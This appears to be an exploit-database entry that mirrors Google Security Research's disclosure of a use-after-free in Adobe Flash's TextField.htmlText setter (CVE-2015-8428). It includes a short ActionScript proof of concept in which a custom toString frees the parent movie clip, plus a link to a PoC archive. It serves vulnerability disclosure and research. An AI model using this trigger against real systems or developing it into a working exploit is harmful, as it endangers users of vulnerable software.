Exploit Adobe Flash TextField.htmlText Setter - Use-After-Free

[Exploiter]

EDB-ID

39051

Проверка EDB

1. Пройдено

Автор

GOOGLE SECURITY RESEARCH

Тип уязвимости

DOS

Платформа

WINDOWS

CVE

cve-2015-8428

Дата публикации

2015-12-18

Adobe Flash TextField.htmlText Setter - Use-After-Free

Source: https://code.google.com/p/google-security-research/issues/detail?id=578

There is a use-after-free in the TextField.htmlText setter. If the htmlText the field is set to is an object with toString defined, the toString function can free the field's parent object, which is then used. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.htmlText = {toString : func};

function func(){

	mc.removeMovieClip();

        // Fix heap here

	return "<b>hello</b>";
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39051.zip